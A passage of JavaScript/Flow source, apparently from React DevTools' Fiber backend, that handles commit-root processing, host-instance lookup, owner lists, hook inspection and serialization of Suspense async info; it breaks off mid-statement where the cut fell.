reconnectChildrenRecursively(parentInstance: DevToolsInstance) {\n    for (\n      let child = parentInstance.firstChild;\n      child !== null;\n      child = child.nextSibling\n    ) {\n      if (child.kind === FIBER_INSTANCE) {\n        recordReconnect(child, parentInstance);\n      } else if (child.kind === VIRTUAL_INSTANCE) {\n        const secondaryEnv = null; // TODO: We don't have this data anywhere. We could just stash it somewhere.\n        recordVirtualReconnect(child, parentInstance, secondaryEnv);\n      }\n      if (\n        (child.kind === FIBER_INSTANCE ||\n          child.kind === FILTERED_FIBER_INSTANCE) &&\n        isHiddenOffscreen(child.data) &&\n        !isActivityHiddenOffscreen(child.data)\n      ) {\n        // This instance's children should remain disconnected.\n        // Activity's hidden children are still shown in the tree.\n      } else {\n        reconnectChildrenRecursively(child);\n      }\n    }\n  }\n\n  function cleanup() {\n    isProfiling = false;\n  }\n\n  function flushInitialOperations() {\n    const localPendingOperationsQueue = pendingOperationsQueue;\n\n    pendingOperationsQueue = null;\n\n    if (\n      localPendingOperationsQueue !== null &&\n      localPendingOperationsQueue.length > 0\n    ) {\n      // We may have already queued up some operations before the frontend connected\n      // If so, let the frontend know about them.\n      localPendingOperationsQueue.forEach(operations => {\n        hook.emit('operations', operations);\n      });\n    } else {\n      // Before the traversals, remember to start tracking\n      // our path in case we have selection to restore.\n      if (trackedPath !== null) {\n        mightBeOnTrackedPath = true;\n      }\n      // If we have not been profiling, then we can just walk the tree and build up its current state as-is.\n      hook.getFiberRoots(rendererID).forEach(root => {\n        const current = root.current;\n        const newRoot = createFiberInstance(current);\n        rootToFiberInstanceMap.set(root, newRoot);\n        idToDevToolsInstanceMap.set(newRoot.id, newRoot);\n        currentRoot = newRoot;\n        setRootPseudoKey(currentRoot.id, root.current);\n\n        // Handle multi-renderer edge-case where only some v16 renderers support profiling.\n        if (isProfiling && rootSupportsProfiling(root)) {\n          // If profiling is active, store commit time and duration.\n          // The frontend may request this information after profiling has stopped.\n          currentCommitProfilingMetadata = {\n            changeDescriptions: recordChangeDescriptions ? new Map() : null,\n            durations: [],\n            commitTime: getCurrentTime() - profilingStartTime,\n            maxActualDuration: 0,\n            priorityLevel: null,\n            updaters: null,\n            effectDuration: null,\n            passiveEffectDuration: null,\n          };\n        }\n\n        mountFiberRecursively(root.current, false);\n\n        flushPendingEvents(currentRoot);\n\n        currentRoot = (null: any);\n      });\n\n      needsToFlushComponentLogs = false;\n    }\n  }\n\n  function handleCommitFiberUnmount(fiber: any) {\n    // This Hook is no longer used. After having shipped DevTools everywhere it is\n    // safe to stop calling it from Fiber.\n  }\n\n  function handlePostCommitFiberRoot(root: FiberRoot) {\n    if (isProfiling && rootSupportsProfiling(root)) {\n      if (currentCommitProfilingMetadata !== null) {\n        const {effectDuration, passiveEffectDuration} =\n          getEffectDurations(root);\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        currentCommitProfilingMetadata.effectDuration = effectDuration;\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        currentCommitProfilingMetadata.passiveEffectDuration =\n          passiveEffectDuration;\n      }\n    }\n\n    if (needsToFlushComponentLogs) {\n      const rootInstance = rootToFiberInstanceMap.get(root);\n      if (rootInstance === undefined) {\n        throw new Error(\n          'Should have a root instance for a committed root. This is a bug in React DevTools.',\n        );\n      }\n      // We received new logs after commit. I.e. in a passive effect. We need to\n      // traverse the tree to find the affected ones. If we just moved the whole\n      // tree traversal from handleCommitFiberRoot to handlePostCommitFiberRoot\n      // this wouldn't be needed. For now we just brute force check all instances.\n      // This is not that common of a case.\n      bruteForceFlushErrorsAndWarnings(rootInstance);\n    }\n  }\n\n  function handleCommitFiberRoot(\n    root: FiberRoot,\n    priorityLevel: void | number,\n  ) {\n    const nextFiber = root.current;\n\n    let prevFiber: null | Fiber = null;\n    let rootInstance = rootToFiberInstanceMap.get(root);\n    if (!rootInstance) {\n      rootInstance = createFiberInstance(nextFiber);\n      rootToFiberInstanceMap.set(root, rootInstance);\n      idToDevToolsInstanceMap.set(rootInstance.id, rootInstance);\n    } else {\n      prevFiber = rootInstance.data;\n    }\n    currentRoot = rootInstance;\n\n    // Before the traversals, remember to start tracking\n    // our path in case we have selection to restore.\n    if (trackedPath !== null) {\n      mightBeOnTrackedPath = true;\n    }\n\n    if (traceUpdatesEnabled) {\n      traceUpdatesForNodes.clear();\n    }\n\n    // Handle multi-renderer edge-case where only some v16 renderers support profiling.\n    const isProfilingSupported = rootSupportsProfiling(root);\n\n    if (isProfiling && isProfilingSupported) {\n      // If profiling is active, store commit time and duration.\n      // The frontend may request this information after profiling has stopped.\n      currentCommitProfilingMetadata = {\n        changeDescriptions: recordChangeDescriptions ? new Map() : null,\n        durations: [],\n        commitTime: getCurrentTime() - profilingStartTime,\n        maxActualDuration: 0,\n        priorityLevel:\n          priorityLevel == null ? null : formatPriorityLevel(priorityLevel),\n        updaters: null,\n        // Initialize to null; if new enough React version is running,\n        // these values will be read during separate handlePostCommitFiberRoot() call.\n        effectDuration: null,\n        passiveEffectDuration: null,\n      };\n    }\n\n    const nextIsMounted = nextFiber.child !== null;\n    const prevWasMounted = prevFiber !== null && prevFiber.child !== null;\n    if (!prevWasMounted && nextIsMounted) {\n      // Mount a new root.\n      setRootPseudoKey(currentRoot.id, nextFiber);\n      mountFiberRecursively(nextFiber, false);\n    } else if (prevWasMounted && nextIsMounted) {\n      if (prevFiber === null) {\n        throw new Error(\n          'Expected a previous Fiber when updating an existing root.',\n        );\n      }\n      // Update an existing root.\n      updateFiberRecursively(rootInstance, nextFiber, prevFiber, false);\n    } else if (prevWasMounted && !nextIsMounted) {\n      // Unmount an existing root.\n      unmountInstanceRecursively(rootInstance);\n      removeRootPseudoKey(currentRoot.id);\n      rootToFiberInstanceMap.delete(root);\n    } else if (!prevWasMounted && !nextIsMounted) {\n      // We don't need this root anymore.\n      rootToFiberInstanceMap.delete(root);\n    }\n\n    if (isProfiling && isProfilingSupported) {\n      if (!shouldBailoutWithPendingOperations()) {\n        const commitProfilingMetadata =\n          ((rootToCommitProfilingMetadataMap: any): CommitProfilingMetadataMap).get(\n            currentRoot.id,\n          );\n\n        if (commitProfilingMetadata != null) {\n          commitProfilingMetadata.push(\n            ((currentCommitProfilingMetadata: any): CommitProfilingData),\n          );\n        } else {\n          ((rootToCommitProfilingMetadataMap: any): CommitProfilingMetadataMap).set(\n            currentRoot.id,\n            [((currentCommitProfilingMetadata: any): CommitProfilingData)],\n          );\n        }\n      }\n    }\n\n    // We're done here.\n    flushPendingEvents(currentRoot);\n\n    needsToFlushComponentLogs = false;\n\n    if (traceUpdatesEnabled) {\n      hook.emit('traceUpdates', traceUpdatesForNodes);\n    }\n\n    currentRoot = (null: any);\n  }\n\n  function getResourceInstance(fiber: Fiber): HostInstance | null {\n    if (fiber.tag === HostHoistable) {\n      const resource = fiber.memoizedState;\n      // Feature Detect a DOM Specific Instance of a Resource\n      if (\n        typeof resource === 'object' &&\n        resource !== null &&\n        resource.instance != null\n      ) {\n        return resource.instance;\n      }\n    }\n    return null;\n  }\n\n  function appendHostInstancesByDevToolsInstance(\n    devtoolsInstance: DevToolsInstance,\n    hostInstances: Array<HostInstance>,\n  ) {\n    if (devtoolsInstance.kind !== VIRTUAL_INSTANCE) {\n      const fiber = devtoolsInstance.data;\n      appendHostInstancesByFiber(fiber, hostInstances);\n      return;\n    }\n    // Search the tree for the nearest child Fiber and add all its host instances.\n    // TODO: If the true nearest Fiber is filtered, we might skip it and instead include all\n    // the children below it. In the extreme case, searching the whole tree.\n    for (\n      let child = devtoolsInstance.firstChild;\n      child !== null;\n      child = child.nextSibling\n    ) {\n      appendHostInstancesByDevToolsInstance(child, hostInstances);\n    }\n  }\n\n  function appendHostInstancesByFiber(\n    fiber: Fiber,\n    hostInstances: Array<HostInstance>,\n  ): void {\n    // Next we'll drill down this component to find all HostComponent/Text.\n    let node: Fiber = fiber;\n    while (true) {\n      if (\n        node.tag === HostComponent ||\n        node.tag === HostText ||\n        node.tag === HostSingleton ||\n        node.tag === HostHoistable\n      ) {\n        const hostInstance = node.stateNode || getResourceInstance(node);\n        if (hostInstance) {\n          hostInstances.push(hostInstance);\n        }\n      } else if (node.child) {\n        node.child.return = node;\n        node = node.child;\n        continue;\n      }\n      if (node === fiber) {\n        return;\n      }\n      while (!node.sibling) {\n        if (!node.return || node.return === fiber) {\n          return;\n        }\n        node = node.return;\n      }\n      node.sibling.return = node.return;\n      node = node.sibling;\n    }\n  }\n\n  function findAllCurrentHostInstances(\n    devtoolsInstance: DevToolsInstance,\n  ): $ReadOnlyArray<HostInstance> {\n    const hostInstances: Array<HostInstance> = [];\n    appendHostInstancesByDevToolsInstance(devtoolsInstance, hostInstances);\n    return hostInstances;\n  }\n\n  function findHostInstancesForElementID(id: number) {\n    try {\n      const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n      if (devtoolsInstance === undefined) {\n        console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n        return null;\n      }\n      return findAllCurrentHostInstances(devtoolsInstance);\n    } catch (err) {\n      // The fiber might have unmounted by now.\n      return null;\n    }\n  }\n\n  function findLastKnownRectsForID(id: number): null | Array<Rect> {\n    try {\n      const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n      if (devtoolsInstance === undefined) {\n        console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n        return null;\n      }\n      if (devtoolsInstance.suspenseNode === null) {\n        return null;\n      }\n      return devtoolsInstance.suspenseNode.rects;\n    } catch (err) {\n      // The fiber might have unmounted by now.\n      return null;\n    }\n  }\n\n  function getDisplayNameForElementID(id: number): null | string {\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      return null;\n    }\n    if (devtoolsInstance.kind === FIBER_INSTANCE) {\n      const fiber = devtoolsInstance.data;\n      if (fiber.tag === HostRoot) {\n        // The only reason you'd inspect a HostRoot is to show it as a SuspenseNode.\n        return 'Initial Paint';\n      }\n      if (fiber.tag === SuspenseComponent || fiber.tag === ActivityComponent) {\n        // For Suspense and Activity components, we can show a better name\n        // by using the name prop or their owner.\n        const props = fiber.memoizedProps;\n        if (props.name != null) {\n          return props.name;\n        }\n        const owner = getUnfilteredOwner(fiber);\n        if (owner != null) {\n          if (typeof owner.tag === 'number') {\n            return getDisplayNameForFiber((owner: any));\n          } else {\n            return owner.name || '';\n          }\n        }\n      }\n      return getDisplayNameForFiber(fiber);\n    } else {\n      return devtoolsInstance.data.name || '';\n    }\n  }\n\n  function getNearestSuspenseNode(instance: DevToolsInstance): SuspenseNode {\n    while (instance.suspenseNode === null) {\n      if (instance.parent === null) {\n        throw new Error(\n          'There should always be a SuspenseNode parent on a mounted instance.',\n        );\n      }\n      instance = instance.parent;\n    }\n    return instance.suspenseNode;\n  }\n\n  function getNearestMountedDOMNode(publicInstance: Element): null | Element {\n    let domNode: null | Element = publicInstance;\n    while (domNode && !publicInstanceToDevToolsInstanceMap.has(domNode)) {\n      // $FlowFixMe: In practice this is either null or Element.\n      domNode = domNode.parentNode;\n    }\n    return domNode;\n  }\n\n  function getElementIDForHostInstance(\n    publicInstance: HostInstance,\n  ): number | null {\n    const instance = publicInstanceToDevToolsInstanceMap.get(publicInstance);\n    if (instance !== undefined) {\n      if (instance.kind === FILTERED_FIBER_INSTANCE) {\n        // A Filtered Fiber Instance will always have a Virtual Instance as a parent.\n        return ((instance.parent: any): VirtualInstance).id;\n      }\n      return instance.id;\n    }\n    return null;\n  }\n\n  function getSuspenseNodeIDForHostInstance(\n    publicInstance: HostInstance,\n  ): number | null {\n    const instance = publicInstanceToDevToolsInstanceMap.get(publicInstance);\n    if (instance !== undefined) {\n      // Pick nearest unfiltered SuspenseNode instance.\n      let suspenseInstance = instance;\n      while (\n        suspenseInstance.suspenseNode === null ||\n        suspenseInstance.kind === FILTERED_FIBER_INSTANCE\n      ) {\n        if (suspenseInstance.parent === null) {\n          // We shouldn't get here since we'll always have a suspenseNode at the root.\n          return null;\n        }\n        suspenseInstance = suspenseInstance.parent;\n      }\n      return suspenseInstance.id;\n    }\n    return null;\n  }\n\n  function getElementAttributeByPath(\n    id: number,\n    path: Array<string | number>,\n  ): mixed {\n    if (isMostRecentlyInspectedElement(id)) {\n      return getInObject(\n        ((mostRecentlyInspectedElement: any): InspectedElement),\n        path,\n      );\n    }\n    return undefined;\n  }\n\n  function getElementSourceFunctionById(id: number): null | Function {\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n      return null;\n    }\n    if (devtoolsInstance.kind !== FIBER_INSTANCE) {\n      // TODO: Handle VirtualInstance.\n      return null;\n    }\n    const fiber = devtoolsInstance.data;\n\n    const {elementType, tag, type} = fiber;\n\n    switch (tag) {\n      case ClassComponent:\n      case IncompleteClassComponent:\n      case IncompleteFunctionComponent:\n      case IndeterminateComponent:\n      case FunctionComponent:\n        return type;\n      case ForwardRef:\n        return type.render;\n      case MemoComponent:\n      case SimpleMemoComponent:\n        return elementType != null && elementType.type != null\n          ? elementType.type\n          : type;\n      default:\n        return null;\n    }\n  }\n\n  function instanceToSerializedElement(\n    instance: FiberInstance | VirtualInstance,\n  ): SerializedElement {\n    if (instance.kind === FIBER_INSTANCE) {\n      const fiber = instance.data;\n      return {\n        displayName: getDisplayNameForFiber(fiber) || 'Anonymous',\n        id: instance.id,\n        key:\n          fiber.key === REACT_OPTIMISTIC_KEY\n            ? 'React.optimisticKey'\n            : fiber.key,\n        env: null,\n        stack:\n          fiber._debugOwner == null || fiber._debugStack == null\n            ? null\n            : parseStackTrace(fiber._debugStack, 1),\n        type: getElementTypeForFiber(fiber),\n      };\n    } else {\n      const componentInfo = instance.data;\n      return {\n        displayName: componentInfo.name || 'Anonymous',\n        id: instance.id,\n        key:\n          componentInfo.key == null ||\n          componentInfo.key === REACT_OPTIMISTIC_KEY\n            ? 'React.optimisticKey'\n            : componentInfo.key,\n        env: componentInfo.env == null ? null : componentInfo.env,\n        stack:\n          componentInfo.owner == null || componentInfo.debugStack == null\n            ? null\n            : parseStackTrace(componentInfo.debugStack, 1),\n        type: ElementTypeVirtual,\n      };\n    }\n  }\n\n  function getOwnersList(id: number): Array<SerializedElement> | null {\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n      return null;\n    }\n    const self = instanceToSerializedElement(devtoolsInstance);\n    const owners = getOwnersListFromInstance(devtoolsInstance);\n    // This is particular API is prefixed with the current instance too for some reason.\n    if (owners === null) {\n      return [self];\n    }\n    owners.unshift(self);\n    owners.reverse();\n    return owners;\n  }\n\n  function getOwnersListFromInstance(\n    instance: DevToolsInstance,\n  ): Array<SerializedElement> | null {\n    let owner = getUnfilteredOwner(instance.data);\n    if (owner === null) {\n      return null;\n    }\n    const owners: Array<SerializedElement> = [];\n    let parentInstance: null | DevToolsInstance = instance.parent;\n    while (parentInstance !== null && owner !== null) {\n      const ownerInstance = findNearestOwnerInstance(parentInstance, owner);\n      if (ownerInstance !== null) {\n        owners.push(instanceToSerializedElement(ownerInstance));\n        // Get the next owner and keep searching from the previous match.\n        owner = getUnfilteredOwner(owner);\n        parentInstance = ownerInstance.parent;\n      } else {\n        break;\n      }\n    }\n    return owners;\n  }\n\n  function getUnfilteredOwner(\n    owner: ReactComponentInfo | Fiber | null | void,\n  ): ReactComponentInfo | Fiber | null {\n    if (owner == null) {\n      return null;\n    }\n    if (typeof owner.tag === 'number') {\n      const ownerFiber: Fiber = (owner: any); // Refined\n      owner = ownerFiber._debugOwner;\n    } else {\n      const ownerInfo: ReactComponentInfo = (owner: any); // Refined\n      owner = ownerInfo.owner;\n    }\n    while (owner) {\n      if (typeof owner.tag === 'number') {\n        const ownerFiber: Fiber = (owner: any); // Refined\n        if (!shouldFilterFiber(ownerFiber)) {\n          return ownerFiber;\n        }\n        owner = ownerFiber._debugOwner;\n      } else {\n        const ownerInfo: ReactComponentInfo = (owner: any); // Refined\n        if (!shouldFilterVirtual(ownerInfo, null)) {\n          return ownerInfo;\n        }\n        owner = ownerInfo.owner;\n      }\n    }\n    return null;\n  }\n\n  function findNearestOwnerInstance(\n    parentInstance: null | DevToolsInstance,\n    owner: void | null | ReactComponentInfo | Fiber,\n  ): null | FiberInstance | VirtualInstance {\n    if (owner == null) {\n      return null;\n    }\n    // Search the parent path for any instance that matches this kind of owner.\n    while (parentInstance !== null) {\n      if (\n        parentInstance.data === owner ||\n        // Typically both owner and instance.data would refer to the current version of a Fiber\n        // but it is possible for memoization to ignore the owner on the JSX. Then the new Fiber\n        // isn't propagated down as the new owner. In that case we might match the alternate\n        // instead. This is a bit hacky but the fastest check since type casting owner to a Fiber\n        // needs a duck type check anyway.\n        parentInstance.data === (owner: any).alternate\n      ) {\n        if (parentInstance.kind === FILTERED_FIBER_INSTANCE) {\n          return null;\n        }\n        return parentInstance;\n      }\n      parentInstance = parentInstance.parent;\n    }\n    // It is technically possible to create an element and render it in a different parent\n    // but this is a weird edge case and it is worth not having to scan the tree or keep\n    // a register for every fiber/component info.\n    return null;\n  }\n\n  function inspectHooks(fiber: Fiber): HooksTree {\n    const originalConsoleMethods: {[string]: $FlowFixMe} = {};\n\n    // Temporarily disable all console logging before re-running the hook.\n    for (const method in console) {\n      try {\n        // $FlowFixMe[invalid-computed-prop]\n        originalConsoleMethods[method] = console[method];\n        // $FlowFixMe[prop-missing]\n        console[method] = () => {};\n      } catch (error) {}\n    }\n\n    try {\n      return inspectHooksOfFiber(fiber, getDispatcherRef(renderer));\n    } finally {\n      // Restore original console functionality.\n      for (const method in originalConsoleMethods) {\n        try {\n          // $FlowFixMe[prop-missing]\n          console[method] = originalConsoleMethods[method];\n        } catch (error) {}\n      }\n    }\n  }\n\n  function getSuspendedByOfSuspenseNode(\n    suspenseNode: SuspenseNode,\n    filterByChildInstance: null | DevToolsInstance, // only include suspended by instances in this subtree\n  ): Array<SerializedAsyncInfo> {\n    // Collect all ReactAsyncInfo that was suspending this SuspenseNode but\n    // isn't also in any parent set.\n    const result: Array<SerializedAsyncInfo> = [];\n    if (!suspenseNode.hasUniqueSuspenders) {\n      return result;\n    }\n    // Cache the inspection of Hooks in case we need it for multiple entries.\n    // We don't need a full map here since it's likely that every ioInfo that's unique\n    // to a specific instance will have those appear in order of when that instance was discovered.\n    let hooksCacheKey: null | DevToolsInstance = null;\n    let hooksCache: null | HooksTree = null;\n    // Collect the stream entries with the highest byte offset and end time.\n    const streamEntries: Map<\n      Promise<mixed>,\n      {\n        asyncInfo: ReactAsyncInfo,\n        instance: DevToolsInstance,\n        hooks: null | HooksTree,\n      },\n    > = new Map();\n    suspenseNode.suspendedBy.forEach((set, ioInfo) => {\n      let parentNode = suspenseNode.parent;\n      while (parentNode !== null) {\n        if (parentNode.suspendedBy.has(ioInfo)) {\n          return;\n        }\n        parentNode = parentNode.parent;\n      }\n      // We have the ioInfo but we need to find at least one corresponding await\n      // to go along with it. We don't really need to show every child that awaits the same\n      // thing so we just pick the first one that is still alive.\n      if (set.size === 0) {\n        return;\n      }\n      let firstInstance: null | DevToolsInstance = null;\n      if (filterByChildInstance === null) {\n        firstInstance = (set.values().next().value: any);\n      } else {\n        // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n        for (const childInstance of set.values()) {\n          if (firstInstance === null) {\n            firstInstance = childInstance;\n          }\n          if (\n            childInstance !== filterByChildInstance &&\n            !isChildOf(\n              filterByChildInstance,\n              childInstance,\n              suspenseNode.instance,\n            )\n          ) {\n            // Something suspended on this outside the filtered instance. That means that\n            // it is not unique to just this filtered instance so we skip including it.\n            return;\n          }\n        }\n      }\n      if (firstInstance !== null && firstInstance.suspendedBy !== null) {\n        const asyncInfo = getAwaitInSuspendedByFromIO(\n          firstInstance.suspendedBy,\n          ioInfo,\n        );\n        if (asyncInfo !== null) {\n          let hooks: null | HooksTree = null;\n          if (asyncInfo.stack == null && asyncInfo.owner == null) {\n            if (hooksCacheKey === firstInstance) {\n              hooks = hooksCache;\n            } else if (firstInstance.kind !== VIRTUAL_INSTANCE) {\n              const fiber = firstInstance.data;\n              if (\n                fiber.dependencies &&\n                fiber.dependencies._debugThenableState\n              ) {\n                // This entry had no stack nor owner but this Fiber used Hooks so we might\n                // be able to get the stack from the Hook.\n                hooksCacheKey = firstInstance;\n                hooksCache = hooks = inspectHooks(fiber);\n              }\n            }\n          }\n          const newIO = asyncInfo.awaited;\n          if (\n            (newIO.name === 'RSC stream' || newIO.name === 'rsc stream') &&\n            newIO.value != null\n          ) {\n            const streamPromise = newIO.value;\n            // Special case RSC stream entries to pick the last entry keyed by the stream.\n            const existingEntry = streamEntries.get(streamPromise);\n            if (existingEntry === undefined) {\n              streamEntries.set(streamPromise, {\n                asyncInfo,\n                instance: firstInstance,\n                hooks,\n              });\n            } else {\n              const existingIO = existingEntry.asyncInfo.awaited;\n              if (\n                newIO !== existingIO &&\n                ((newIO.byteSize !== undefined &&\n                  existingIO.byteSize !== undefined &&\n                  newIO.byteSize > existingIO.byteSize) ||\n                  newIO.end > existingIO.end)\n              ) {\n                // The new entry is later in the stream that the old entry. Replace it.\n                existingEntry.asyncInfo = asyncInfo;\n                existingEntry.instance = firstInstance;\n                existingEntry.hooks = hooks;\n              }\n            }\n          } else {\n            result.push(serializeAsyncInfo(asyncInfo, firstInstance, hooks));\n          }\n        }\n      }\n    });\n    // Add any deduped stream entries.\n    streamEntries.forEach(({asyncInfo, instance, hooks}) => {\n      result.push(serializeAsyncInfo(asyncInfo, instance, hooks));\n    });\n    return result;\n  }\n\n  function getSuspendedByOfInstance(\n    devtoolsInstance: DevToolsInstance,\n    hooks: null | HooksTree,\n  ): Array<SerializedAsyncInfo> {\n    const suspendedBy = devtoolsInstance.suspendedBy;\n    if (suspendedBy === null) {\n      return [];\n    }\n\n    const foundIOEntries: Set<ReactIOInfo> = new Set();\n    const streamEntries: Map<Promise<mixed>, ReactAsyncInfo> = new Map();\n    const result: Array<SerializedAsyncInfo> = [];\n    for (let i = 0; i < suspendedBy.length; i++) {\n      const asyncInfo = suspendedBy[i];\n      const ioInfo = asyncInfo.awaited;\n      if (foundIOEntries.has(ioInfo)) {\n        // We have already added this I/O entry to the result. We can dedupe it.\n        // This can happen when an instance depends on the same data in mutliple places.\n        continue;\n      }\n      foundIOEntries.add(ioInfo);\n      if (\n        (ioInfo.name === 'RSC stream' || ioInfo.name === 'rsc stream') &&\n        ioInfo.value != null\n      ) {\n        const streamPromise = ioInfo.value;\n        // Special case RSC stream entries to pick the last entry keyed by the stream.\n        const existingEntry = streamEntries.get(streamPromise);\n        if (existingEntry === undefined) {\n          streamEntries.set(streamPromise, asyncInfo);\n        } else {\n          const existingIO = existingEntry.awaited;\n          if (\n            ioInfo !== existingIO &&\n            ((ioInfo.byteSize !== undefined &&\n              existingIO.byteSize !== undefined &&\n              ioInfo.byteSize > existingIO.byteSize) ||\n              ioInfo.end > existingIO.end)\n          ) {\n            // The new entry is later in the stream that the old entry. Replace it.\n            streamEntries.set(streamPromise, asyncInfo);\n          }\n        }\n      } else {\n        result.push(serializeAsyncInfo(asyncInfo, devtoolsInstance, hooks));\n      }\n    }\n    // Add any deduped stream entries.\n    streamEntries.forEach(asyncInfo => {\n      result.push(serializeAsyncInfo(asyncInfo, devtoolsInstance, hooks));\n    });\n    return result;\n  }\n\n  function getSuspendedByOfInstanceSubtree(\n    devtoolsInstance: DevToolsInstance,\n  ): Array<SerializedAsyncInfo> {\n    // Get everything suspending below this instance down to the next Suspense node.\n    // First find the parent Suspense boundary which will have accumulated everything\n    let suspenseParentInstance = devtoolsInstance;\n    while (suspenseParentInstance.suspenseNode === null) {\n      if (suspenseParentInstance.parent === null) {\n        // We don't expect to hit this. We should always find the root.\n        return [];\n      }\n      suspenseParentInstance = suspenseParentInstance.parent;\n    }\n    const suspenseNode: SuspenseNode = suspenseParentInstance.suspenseNode;\n    return getSuspendedByOfSuspenseNode(suspenseNode, devtoolsInstance);\n  }\n\n  const FALLBACK_THROTTLE_MS: number = 300;\n\n  function getSuspendedByRange(\n    suspenseNode: SuspenseNode,\n  ): null | [number, number] {\n    let min = Infinity;\n    let max = -Infinity;\n    suspenseNode.suspendedBy.forEach((_, ioInfo) => {\n      if (ioInfo.end > max) {\n        max = ioInfo.end;\n      }\n      if (ioInfo.start < min) {\n        min = ioInfo.start;\n      }\n    });\n    const parentSuspenseNode = suspenseNode.parent;\n    if (parentSuspenseNode !== null) {\n      let parentMax = -Infinity;\n      parentSuspenseNode.suspendedBy.forEach((_, ioInfo) => {\n        if (ioInfo.end > parentMax) {\n          parentMax = ioInfo.end;\n        }\n      });\n      // The parent max is theoretically the earlier the parent could've committed.\n      // Therefore, the theoretical max that the child could be throttled is that plus 300ms.\n      const throttleTime = parentMax + FALLBACK_THROTTLE_MS;\n      if (throttleTime > max) {\n        // If the theoretical throttle time is later than the earliest reveal then we extend\n        // the max time to show that this is timespan could possibly get throttled.\n        max = throttleTime;\n      }\n\n      // We use the end of the previous boundary as the start time for this boundary unless,\n      // that's earlier than we'd need to expand to the full fallback throttle range. It\n      // suggests that the parent was loaded earlier than this one.\n      let startTime = max - FALLBACK_THROTTLE_MS;\n      if (parentMax > startTime) {\n        startTime = parentMax;\n      }\n      // If the first fetch of this boundary starts before that, then we use that as the start.\n      if (startTime < min) {\n        min = startTime;\n      }\n    }\n    if (min < Infinity && max > -Infinity) {\n      return [min, max];\n    }\n    return null;\n  }\n\n  function getAwaitStackFromHooks(\n    hooks: HooksTree,\n    asyncInfo: ReactAsyncInfo,\n  ): null | ReactStackTrace {\n    // TODO: We search through the hooks tree generated by inspectHooksOfFiber so that we can\n    // use the information already extracted but ideally this search would be faster since we\n    // could know which index to extract from the debug state.\n    for (let i = 0; i < hooks.length; i++) {\n      const node = hooks[i];\n      const debugInfo = node.debugInfo;\n      if (debugInfo != null && debugInfo.indexOf(asyncInfo) !== -1) {\n        // Found a matching Hook. We'll now use its source location to construct a stack.\n        const source = node.hookSource;\n        if (\n          source != null &&\n          source.functionName !== null &&\n          source.fileName !== null &&\n          source.lineNumber !== null &&\n          source.columnNumber !== null\n        ) {\n          // Unfortunately this is in a slightly different format. TODO: Unify HookNode with ReactCallSite.\n          const callSite: ReactCallSite = [\n            source.functionName,\n            source.fileName,\n            source.lineNumber,\n            source.columnNumber,\n            0,\n            0,\n            false,\n          ];\n          // As we return we'll add any custom hooks parent stacks to the array.\n          return [callSite];\n        } else {\n          return [];\n        }\n      }\n      // Otherwise, search the sub hooks of any custom hook.\n      const matchedStack = getAwaitStackFromHooks(node.subHooks, asyncInfo);\n      if (matchedStack !== null) {\n        // Append this custom hook to the stack trace since it must have been called inside of it.\n        const source = node.hookSource;\n        if (\n          source != null &&\n          source.functionName !== null &&\n          source.fileName !== null &&\n          source.lineNumber !== null &&\n          source.columnNumber !== null\n        ) {\n          // Unfortunately this is in a slightly different format. TODO: Unify HookNode with ReactCallSite.\n          const callSite: ReactCallSite = [\n            source.functionName,\n            source.fileName,\n            source.lineNumber,\n            source.columnNumber,\n            0,\n            0,\n            false,\n          ];\n          matchedStack.push(callSite);\n        }\n        return matchedStack;\n      }\n    }\n    return null;\n  }\n\n  function serializeAsyncInfo(\n    asyncInfo: ReactAsyncInfo,\n    parentInstance: DevToolsInstance,\n    hooks: null | HooksTree,\n  ): SerializedAsyncInfo {\n    const ioInfo = asyncInfo.awaited;\n    const ioOwnerInstance = findNearestOwnerInstance(\n      parentInstance,\n      ioInfo.owner,\n    );\n    let awaitStack =\n      asyncInfo.debugStack == null\n        ? null\n        : // While we have a ReactStackTrace on ioInfo.stack, that will point to the location on\n          // the server. We need a location that points to the virtual source on the client which\n          // we can then use to source map to the original location.\n          parseStackTrace(asyncInfo.debugStack, 1);\n    let awaitOwnerInstance: null | FiberInstance | VirtualInstance;\n    if (\n      asyncInfo.owner == null &&\n      (awaitStack === null || awaitStack.length === 0)\n    ) {\n      // We had no owner nor stack for the await. This can happen if you render it as a child\n      // or throw a Promise. Replace it with the parent as the await.\n      awaitStack = null;\n      awaitOwnerInstance =\n        parentInstance.kind === FILTERED_FIBER_INSTANCE ? null : parentInstance;\n      if (\n        parentInstance.kind === FIBER_INSTANCE ||\n        parentInstance.kind === FILTERED_FIBER_INSTANCE\n      ) {\n        const fiber = parentInstance.data;\n        switch (fiber.tag) {\n          case ClassComponent:\n          case FunctionComponent:\n          case IncompleteClassComponent:\n          case IncompleteFunctionComponent:\n          case IndeterminateComponent:\n          case MemoComponent:\n          case SimpleMemoComponent:\n            // If we awaited in the child position of a component, then the best stack would be the\n            // return callsite but we don't have that available so instead we skip. The callsite of\n            // the JSX would be misleading in this case. The same thing happens with throw-a-Promise.\n            if (hooks !== null) {\n              // If this component used Hooks we might be able to instead infer the stack from the\n              // use() callsite if this async info came from a hook. Let's search the tree to find it.\n              awaitStack = getAwaitStackFromHooks(hooks, asyncInfo);\n            }\n            break;\n          default:\n            // If we awaited by passing a Promise to a built-in element, then the JSX callsite is a\n            // good stack trace to use for the await.\n            if (\n              fiber._debugOwner != null &&\n              fiber._debugStack != null &&\n              typeof fiber._debugStack !== 'string'\n            ) {\n              awaitStack = parseStackTrace(fiber._debugStack, 1);\n              awaitOwnerInstance = findNearestOwnerInstance(\n                parentInstance,\n                fiber._debugOwner,\n              );\n            }\n        }\n      }\n    } else {\n      awaitOwnerInstance = findNearestOwnerInstance(\n        parentInstance,\n        asyncInfo.owner,\n      );\n    }\n\n    const value: any = ioInfo.value;\n    let resolvedValue = undefined;\n    if (\n      typeof value === 'object' &&\n      value !== null &&\n      typeof value.then === 'function'\n    ) {\n      switch (value.status) {\n        case 'fulfilled':\n          resolvedValue = 